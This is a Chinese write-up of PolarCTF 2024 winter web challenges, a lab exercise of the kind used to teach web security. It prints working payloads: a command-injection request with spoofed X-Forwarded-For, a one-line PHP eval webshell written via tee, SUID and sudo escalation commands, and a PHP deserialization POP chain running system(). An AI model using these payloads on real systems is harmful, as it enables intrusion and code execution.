PolarCTF-2024冬季赛 (WEB)
字数 928 2025-08-22 18:37:15
PolarCTF-2024冬季赛(WEB)题目解析与解题思路
1. 初始信息收集
通过dirsearch扫描发现Dockerfile文件,获取了以下关键信息:
FROM craigmcmahon/apache-php:v1.3.1
RUN apk update && apk add apache2 apache2-utils
RUN id -u www-data || adduser -u 82 -S www-data -G www-data
RUN mkdir -p /var/www/
COPY . /var/www/
RUN grep -q "LoadModule rewrite_module" /etc/apache2/httpd.conf || \
echo "LoadModule rewrite_module /usr/lib/apache2/modules/mod_rewrite.so" >> /etc/apache2/httpd.conf
RUN echo "ServerName localhost" >> /etc/apache2/httpd.conf
RUN chmod -R 755 /var/www/ && \
touch /var/www/debug.log && \
chmod 666 /var/www/debug.log && \
chown -R www-data:www-data /var/www/
EXPOSE 80
关键点:
- 使用Apache+PHP环境
- 开启了rewrite_module模块
- 设置了宽松的文件权限(755目录,666日志文件)
2. 题目解析与解题方法
2.1 第一关:爆破目录
- 需要爆破1000次获取目录
- 目标目录:
ed3d2c21991e3bef5e069713af9fa6ca - 解题思路:编写脚本进行目录爆破
2.2 第二关:数组传参绕过比大小
- 文件路径:
e744f91c29ec99f0e662c9177946c627.php - 漏洞点:使用数组传参绕过数值比较
- 解题方法:提交数组参数如
param[]=xxx绕过比较逻辑
2.3 第三关:XFF伪造与命令注入
- 文件路径:
e744f91c29ec99f0e662c9177946c627.php - 漏洞点:
- 需要伪造X-Forwarded-For头为
1.1.1.1 - 存在命令注入漏洞
- 需要伪造X-Forwarded-For头为
- 解题方法:
GET /e744f91c29ec99f0e662c9177946c627.php?input=127.0.0.1;cat+/f* HTTP/1.1 Host: target X-Forwarded-For: 1.1.1.1
2.4 井字棋游戏
- 文件路径:
game.php - 关键点:
- 前端JS游戏需要获胜才能触发flag获取
- 可以直接绕过游戏逻辑发送POST请求
- 解题方法:
POST /game.php HTTP/1.1 Host: 23c5f66d-8ca9-4537-a028-65897af6bca5.www.polarctf.com:8090 Content-Type: application/json {"winner":"player"}
2.5 坦诚相见(RCE绕过)
- 文件结构:
index.php:主文件,包含RCE功能no.php:过滤文件
- 过滤规则:
function containsPathTraversal($input) { $patterns = [ '/ /', '/\/\//', '/\%2e\%2e\//', '/\%2E\%2E\\/', '/flag/', '/\//', '/>/' ]; foreach ($patterns as $pattern) { if (preg_match($pattern, $input)) { return true; } } return false; } - 绕过方法:
- 使用
tee命令写入webshell:echo "<?php eval(\$_POST[1]);"|tee 1.php - 提权方法:
find / -perm -4000 2>/dev/null sudo cat flag
- 使用
2.6 Git泄露与反序列化漏洞
- 发现方法:使用dirsearch扫描发现.git泄露
- 工具使用:
githacker --url http://target/.git/ --output-folder ./output - 代码审计发现的反序列化链:
class backDoor { private $key; public function getInfo(){ eval($this->key); } } class info { private $polar520 = 'nukaka'; public function getInfo(){ return $this->polar520; } } class polar520 { private $polarday = 'nukaka'; private $polarnight = 'nukaka'; private $polar = false; private $class; public function __construct(){ $this->class = new info(); } public function login($a, $b){ return $this->polarday === $a && $this->polarnight === $b; } public function __destruct(){ $this->class->getInfo(); } } - 构造的POP链:
class backDoor { private $key; public function __construct() { $this->key = "system('cat /f*');"; } } class polar520 { private $class; public function __construct() { $this->class = new backDoor(); } } $a = new polar520(); echo urlencode(serialize($a)); - 利用方法:
- 将构造的反序列化payload通过Cookie传递
- 同时提供
polarday和polarnight参数触发漏洞
3. 总结
本次CTF题目涵盖了多种Web安全漏洞类型:
- 信息收集与目录爆破
- 逻辑漏洞(数组传参绕过)
- HTTP头注入与命令注入
- 游戏逻辑绕过
- RCE过滤绕过与权限提升
- Git泄露与PHP反序列化漏洞
每种漏洞类型都有其特定的利用方式和防御方法,理解这些漏洞的原理对于Web安全学习和实践具有重要意义。